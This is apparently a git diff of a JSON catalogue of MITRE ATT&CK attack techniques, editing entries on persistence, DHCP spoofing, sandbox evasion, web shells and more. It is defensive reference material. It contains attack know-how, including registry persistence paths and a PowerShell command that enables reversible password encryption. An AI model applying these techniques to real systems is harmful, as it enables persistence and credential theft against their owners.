[Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).", + "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). \n\nAdversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.\n\nAn adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. \n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ", "meta": { "external_id": "CAPEC-551", "kill_chain": [ @@ -20764,7 +18614,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "Driver: Driver Load", "Process: OS API Execution", "Process: Process Creation", "Service: Service Creation", @@ -20783,11 +18632,7 @@ "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697", "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection", "https://technet.microsoft.com/en-us/library/cc772408.aspx", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", - "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", - "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, "related": [ @@ -20799,31 +18644,6 @@ "uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "value": "Windows Service - T1543.003" }, - { - "description": "Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the `Contacts` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the [Contact List](https://attack.mitre.org/techniques/T1636/003) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "iOS", - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636/003", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "related": [ - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "type": "subtechnique-of" - } - ], - "uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "value": "Contact List - T1636.003" - }, { "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", "meta": { @@ -20880,8 +18700,7 @@ ], "mitre_platforms": [ "macOS", - "Windows", - "Linux" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1564/003", @@ -20899,7 +18718,7 @@ "value": "Hidden Window - T1564.003" }, { - "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)", + "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", "meta": { "external_id": "T1547.003", "kill_chain": [ @@ -20933,126 +18752,6 @@ "uuid": "61afc315-860c-4364-825d-0d62b2e91edc", "value": "Time Providers - T1547.003" }, - { - "description": "Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages. \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [SMS Messages](https://attack.mitre.org/techniques/T1636/004) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636/004", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "related": [ - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "type": "subtechnique-of" - } - ], - "uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "value": "SMS Messages - T1636.004" - }, - { - "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e. [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. ", - "meta": { - "external_id": "T1557.003", - "kill_chain": [ - "mitre-attack:credential-access", - "mitre-attack:collection" - ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Traffic Flow" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1557/003", - "https://datatracker.ietf.org/doc/html/rfc2131", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)", - "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/", - "https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/", - "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2" - ] - }, - "related": [ - { - "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", - "type": "subtechnique-of" - } - ], - "uuid": "59ff91cd-1430-4075-8563-e6f15f4f9ff5", - "value": "DHCP Spoofing - T1557.003" - }, - { - "description": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", - "meta": { - "external_id": "T1559.003", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "Process: Process Access" - ], - "mitre_platforms": [ - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1559/003", - "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1", - "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html", - "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/", - "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html" - ] - }, - "related": [ - { - "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", - "type": "subtechnique-of" - } - ], - "uuid": "8252f135-ed26-4ce1-ae61-f26e94429a19", - "value": "XPC Services - T1559.003" - }, - { - "description": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage Object](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ", - "meta": { - "external_id": "T1595.003", - "kill_chain": [ - "mitre-attack:reconnaissance" - ], - "mitre_data_sources": [ - "Network Traffic: Network Traffic Content" - ], - "mitre_platforms": [ - "PRE" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1595/003", - "https://github.com/clarketm/s3recon", - "https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/", - "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf" - ] - }, - "related": [ - { - "dest-uuid": "67073dde-d720-45ae-83da-b12d5e73ca3b", - "type": "subtechnique-of" - } - ], - "uuid": "bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", - "value": "Wordlist Scanning - T1595.003" - }, { "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)", "meta": { @@ -21188,7 +18887,7 @@ "value": "Employee Names - T1589.003" }, { - "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "meta": { "external_id": "T1598.003", "kill_chain": [ @@ -21259,7 +18958,7 @@ "value": "Dylib Hijacking - T1574.004" }, { - "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)", + "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)", "meta": { "external_id": "T1546.006", "kill_chain": [ @@ -21401,7 +19100,6 @@ "mitre_data_sources": [ "Command: Command Execution", "Module: Module Load", - "Process: OS API Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification" ], @@ -21459,7 +19157,7 @@ "value": "Resource Forking - T1564.009" }, { - "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", + "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", "meta": { "external_id": "T1547.008", "kill_chain": [ @@ -21576,8 +19274,8 @@ "https://attack.mitre.org/techniques/T1555/005", "https://github.com/GhostPack/KeeThief", "https://nvd.nist.gov/vuln/detail/CVE-2019-3610", + "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", - "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf", "https://www.ise.io/casestudies/password-manager-hacking/" ] }, @@ -21590,41 +19288,6 @@ "uuid": "315f51f0-6b03-4c1e-bfb2-84740afb8e21", "value": "Password Managers - T1555.005" }, - { - "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.", - "meta": { - "external_id": "T1556.005", - "kill_chain": [ - "mitre-attack:credential-access", - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Active Directory: Active Directory Object Modification", - "Command: Command Execution", - "Script: Script Execution", - "User Account: User Account Metadata" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html", - "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html", - "https://adsecurity.org/?p=2053", - "https://attack.mitre.org/techniques/T1556/005", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption" - ] - }, - "related": [ - { - "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", - "type": "subtechnique-of" - } - ], - "uuid": "d50955c2-272d-4ac8-95da-10c29dda1c48", - "value": "Reversible Encryption - T1556.005" - }, { "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "meta": { @@ -21708,11 +19371,8 @@ }, "related": [ { - "dest-uuid": "7d20fff9-8751-404e-badd-ccd71bda0236", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" } ], "uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", @@ -21772,7 +19432,6 @@ "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", "https://attack.mitre.org/techniques/T1546/013", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6", - "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles", "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html", "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" ] @@ -21896,7 +19555,7 @@ "value": "Proxy/protocol relays - T1304" }, { - "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", + "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "meta": { "external_id": "CAPEC-557", "kill_chain": [ @@ -21921,8 +19580,7 @@ "refs": [ "https://attack.mitre.org/techniques/T1053", "https://capec.mitre.org/data/definitions/557.html", - "https://technet.microsoft.com/en-us/library/cc785125.aspx", - "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + "https://technet.microsoft.com/en-us/library/cc785125.aspx" ] }, "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", @@ -21964,7 +19622,7 @@ "value": "Develop KITs/KIQs - T1227" }, { - "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device.(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", "meta": { "external_id": "T1529", "kill_chain": [ @@ -21978,38 +19636,18 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1529", "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", - "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A" + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown" ] }, "uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "value": "System Shutdown/Reboot - T1529" }, - { - "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) during automated discovery to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) such as checking for system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. ", - "meta": { - "external_id": "T1633", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1633" - ] - }, - "uuid": "27d18e87-8f32-4be1-b456-39b90454360f", - "value": "Virtualization/Sandbox Evasion - T1633" - }, { "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", "meta": { @@ -22064,15 +19702,6 @@ "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", "meta": { "external_id": "CAPEC-650", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ 